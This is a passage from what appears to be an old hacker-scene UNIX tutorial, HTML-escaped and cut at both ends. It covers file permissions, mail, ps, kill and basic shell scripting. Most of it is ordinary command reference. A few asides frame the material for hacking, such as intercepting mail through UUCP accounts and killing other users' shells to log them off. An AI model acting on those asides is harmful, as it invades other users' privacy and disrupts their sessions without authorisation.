/&gt;chmod - change mode of a file.&amp;nbsp; Change the access in other words.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; syntax: &quot;chmod mode filename&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ chmod a+r newtext&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now everyone can read newtext.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = all&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; r = read.&amp;nbsp; This will be explained further in the File System section.&lt;br /&gt;&lt;br /&gt;chown - change the owner of a file.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; syntax: &quot;chown owner filename&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ chown scythian newtext&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;chgrp - change the group [explained later] of a file.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; syntax: &quot;chgrp group file&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ chgrp root runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;finger - print out basic info on an account.&amp;nbsp; Format: finger username&lt;br /&gt;grep - search for patterns in a file.&amp;nbsp; syntax: &quot;grep pattern file&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ grep 1 newtext&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is Line 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ grep THE newtext&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is THE first line&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ grep &quot;THE line 1&quot; newtext&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;&lt;br /&gt;mail - This is a very useful utility.&amp;nbsp; Obviously, you already know what it&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; is by its name.&amp;nbsp; There are several MAIL utilities, such as ELM, MUSH&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and MSH, but the basic &quot;mail&quot; program is called &quot;mail&quot;.&amp;nbsp; The usage&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; is:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;mail username@address&quot; or&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;mail username&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;mail&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or &quot;mail addr1!addr2!addr3!user&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;mail username@address&quot; - This is used to send mail to someone on&lt;br /&gt;another system, which is usually another UNIX, but some DOS machines and some&lt;br /&gt;VAX machines can recieve Unix Mail.&amp;nbsp; When you use &quot;mail user@address&quot; the&lt;br /&gt;system you are on MUST have a &quot;smart mailer&quot; [known as smail], and must&lt;br /&gt;have what we call system maps.&amp;nbsp; The smart mailer will find the &quot;adress&quot; part&lt;br /&gt;of the command and expand it into the full pathname usually.&amp;nbsp; I could look&lt;br /&gt;like this: mail phiber@optik&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; then look like this to the computer:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber&lt;br /&gt;&lt;br /&gt;Do not worry about it, I was merely explaining the principal of the thing.&lt;br /&gt;Now, if there is no smart mailer online, you&#39;ll have to know the FULL path&lt;br /&gt;name of the person you wish to mail to. For Instance, I want to mail to&lt;br /&gt;.. phiber.&amp;nbsp; I&#39;d do this if there were no smart mailer:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Hey Guy.&amp;nbsp; Whats up?&amp;nbsp; Well, gotta go.&amp;nbsp; Nice long message huh?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [control-D]&lt;br /&gt;&amp;nbsp; $&lt;br /&gt;Then, when he got it, there would be about 20 lines of information, with&lt;br /&gt;like a post mark from every system my message went thru, and the &quot;from&quot; line&lt;br /&gt;would look like so:&lt;br /&gt;&lt;br /&gt;From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack &amp;lt;Sir Hack&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, for local mailing, just type in &quot;mail username&quot; where username&lt;br /&gt;is the login you want to send mail to.&amp;nbsp; Then type in your message.&amp;nbsp; Then&lt;br /&gt;end it with a control-D.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; To read YOUR mail, just type in mail.&amp;nbsp; IE:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ mail&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; From scythian ............&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; To sirhack ............&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Subject: Well....&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Arghhh!&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?&lt;br /&gt;&amp;nbsp;The dots represent omitted crap.&amp;nbsp; Each Mail program makes its own headings.&lt;br /&gt;&amp;nbsp;That ? is a prompt.&amp;nbsp; At this prompt I can type:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; d - delete&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; f username - forward to username&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w fname - write message to a file named fname&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s fname - save message with header into file&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; q - quit / update mail&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; x - quit, but don&#39;t change a thing&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m username - mail to username&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; r - reply&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [enter] - read next message&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + - go forward one message&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - : go back one&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; h - print out message headers that are in your mailbox.&lt;br /&gt;&lt;br /&gt;There are others, to see them, you&#39;d usually hit &#39;?&#39;.&lt;br /&gt;&lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt;If you send mail to someone not on your system, you will have to wait longer&lt;br /&gt;for a reply, since it is just as a letter.&amp;nbsp; A &quot;postman&quot; has to pick it up.&lt;br /&gt;The system might call out, and use UUCP to transfer mail.&amp;nbsp; Usually, uucp&lt;br /&gt;accounts are no good to one, unless you have uucp available to intercept mail.&lt;br /&gt;&lt;br /&gt;ps - process.&amp;nbsp; This command allows you to see what you are actually doing&lt;br /&gt;in memory.&amp;nbsp; Everytime you run a program, it gets assigned a Process Id number&lt;br /&gt;(PID), for accounting purposes, and so it can be tracked in memory, as&lt;br /&gt;well as shut down by you, or root.&amp;nbsp; usually, the first thing in a process&lt;br /&gt;list given by &quot;ps&quot; is your shell name.&amp;nbsp; Say I was logged in under sirhack,&lt;br /&gt;using the shell &quot;csh&quot; and running &quot;watch scythian&quot;.&amp;nbsp; The watch program would&lt;br /&gt;go into the background, meaning I&#39;d still be able to do things while it was&lt;br /&gt;running:&lt;br /&gt;&amp;nbsp; $ ps&lt;br /&gt;&amp;nbsp; PID&amp;nbsp; TTY&amp;nbsp; NAME&lt;br /&gt;&amp;nbsp; 122&amp;nbsp; 001&amp;nbsp; ksh&lt;br /&gt;&amp;nbsp; 123&amp;nbsp; 001&amp;nbsp; watch&lt;br /&gt;&amp;nbsp; $&lt;br /&gt;&amp;nbsp; That is a shortened PS.&amp;nbsp; That is the default listing [a brief one].&lt;br /&gt;&amp;nbsp; The TTY column represents the &quot;tty&quot; [i/o device] that the process is being&lt;br /&gt;&amp;nbsp; run from.&amp;nbsp; This is only useful really if you are using layers (don&#39;t worry)&lt;br /&gt;&amp;nbsp; or more than one person is logged in with the same account name.&amp;nbsp; Now,&lt;br /&gt;&amp;nbsp; &quot;ps -f&quot; would give a full process listing on yourself, so instead of&lt;br /&gt;&amp;nbsp; seeing just plain ole &quot;watch&quot; you&#39;d most likely see &quot;watch scythian&quot;&lt;br /&gt;&lt;br /&gt;kill - kill a process.&amp;nbsp; This is used to terminate a program in memory obvio-&lt;br /&gt;ously.&amp;nbsp; You can only kill processes you own [ones you started], unless you&lt;br /&gt;are root, or your EUID is the same as the process you want to kill.&lt;br /&gt;(Will explain euid later).&amp;nbsp; If you kill the shell process, you are logged&lt;br /&gt;off.&amp;nbsp; By the same token, if you kill someone else&#39;s shell process, they&lt;br /&gt;are logged off.&amp;nbsp; So, if I said &quot;kill 122&quot; I would be logged off.&amp;nbsp; However,&lt;br /&gt;kill only sends a signal to UNIX telling it to kill off a process.&amp;nbsp; If&lt;br /&gt;you just use the syntax &quot;kill pid&quot; then UNIX kills the process WHEN it feels&lt;br /&gt;like it, which may be never.&amp;nbsp; So, you can specify urgency! Try &quot;kill -num pid&quot;&lt;br /&gt;Kill -9 pid&amp;nbsp; is a definite kill almost instantly.&amp;nbsp; So if I did this:&lt;br /&gt;&amp;nbsp;$ kill 122&lt;br /&gt;&amp;nbsp;$ kill 123&lt;br /&gt;&amp;nbsp;$ ps&lt;br /&gt;&amp;nbsp;PID&amp;nbsp;&amp;nbsp; TTY&amp;nbsp;&amp;nbsp; NAME&lt;br /&gt;&amp;nbsp;122&amp;nbsp;&amp;nbsp; 001&amp;nbsp;&amp;nbsp; ksh&lt;br /&gt;&amp;nbsp;123&amp;nbsp;&amp;nbsp; 001&amp;nbsp;&amp;nbsp; watch&lt;br /&gt;&amp;nbsp;$ kill -9 123&lt;br /&gt;&amp;nbsp;[123]: killed&lt;br /&gt;&amp;nbsp;$ kill -9 122&lt;br /&gt;&amp;nbsp;garbage&lt;br /&gt;&amp;nbsp;NO CARRIER&lt;br /&gt;&lt;br /&gt;Also, you can do &quot;kill -1 0&quot; to kill your shell process to log yourself off.&lt;br /&gt;This is useful in scripts (explained later).&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;Shell Programmin&#39;&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Shell Programming is basically making a &quot;script&quot; file for the&lt;br /&gt;standard shell, being sh, ksh, csh, or something on those lines.&amp;nbsp; Its&lt;br /&gt;like an MSDOS batch file, but more complex, and more Flexible.&lt;br /&gt;This can be useful in one aspect of hacking.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First, lets get into variables.&amp;nbsp; Variables obviously can be assigned&lt;br /&gt;values.&amp;nbsp; These values can be string values, or numberic values.&lt;br /&gt;&lt;br /&gt;number=1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; That would assign 1 to the variable named &quot;number&quot;.&lt;br /&gt;&lt;br /&gt;string=Hi There&lt;br /&gt;or&lt;br /&gt;string=&quot;Hi There&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Both would assign &quot;Hi there&quot; to a variable.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Using a variable is different though.&amp;nbsp; When you wish to use a variable&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; you must procede it with a dollar ($) sign.&amp;nbsp; These variables can&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; be used as arguments in programs.&amp;nbsp; When I said that scripts are&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; like batch files, I meant it.&amp;nbsp; You can enter in any name of a program&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in a script file, and it will execute it. Here is a sample script.&lt;br /&gt;&lt;br /&gt;counter=1&lt;br /&gt;arg1=&quot;-uf&quot;&lt;br /&gt;arg2=&quot;scythian&quot;&lt;br /&gt;&lt;br /&gt;ps $arg1 $arg2&lt;br /&gt;&lt;br /&gt;echo $counter&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; That script would translate to &quot;ps -uf scythian&quot; then would print&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;1&quot; after that was finished.&amp;nbsp; ECHO prints something on the screen&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; whether it be numeric, or a string constant.&lt;br /&gt;&lt;br /&gt;Other Commands / Examples:&lt;br /&gt;&lt;br /&gt;read - reads someting into a variable.&amp;nbsp; format : read variable .&amp;nbsp; No dollar&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sign is needed here!&amp;nbsp; If I wwanted to get someone&#39;s name, I could&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; put:&lt;br /&gt;&lt;br /&gt;echo &quot;What is your name?&quot;&lt;br /&gt;read hisname&lt;br /&gt;echo Hello $hisname&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; What is your name?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sir Hackalot&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Hello Sir Hackalot&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Remember, read can read numeric values also.&lt;br /&gt;&lt;br /&gt;trap - This can watch for someone to use the interrupt character. (Ctrl-c)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; format: trap &quot;command ; command ; command ; etc..&quot;&lt;br /&gt;Example:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; trap &quot;echo &#39;Noway!! You are not getting rid o me that easy&#39; ; echo&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;You gotta see this through!&#39;&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, if I hit control-c during the script after this statement was&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; executed, I&#39;d get:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Noway!! You are not getting rid of me that easy&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You gotta see this through!&lt;br /&gt;&lt;br /&gt;exit : format :exit [num]&amp;nbsp; This exists the shell [quits] with return&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; code of num.&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;CASE&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case execution is like a menu choice deal.&amp;nbsp; The format of the command&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or structure is :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case variable in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1) command;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; command;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2) command;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; command;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; command;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *) command;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esac&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Each part can have any number of commands. The last command however&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; must have a &quot;;;&quot;.&amp;nbsp; Take this menu:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &quot;Please Choose:&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &quot;(D)irectory (L)ogoff (S)hell&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; read choice&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case $choice in&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; D) echo &quot;Doing Directory...&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ls -al ;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; L) echo Bye;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; kill -1 0;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; S) exit;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *) Echo &quot;Error! Not a command&quot;;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esac&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The esac marks the end of a case function.&amp;nbsp; It must be after the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LAST command.&lt;br /&gt;&lt;br /&gt;Loops&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ok, loops.&amp;nbsp; There are two loop functins.&amp;nbsp; the for loops, and the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; repeat.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; repeat looks like this: repeat something somethin1 somethin2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this would repeat a section of your script for each &quot;something&quot;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; say i did this:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; repeat scythian sirhack prophet&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; I may see &quot;scythian&quot; then sirhack then prophet on my screen.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The for loop is defined as &quot;for variable in something&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; done&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; an example:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for counter in 1 2 3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 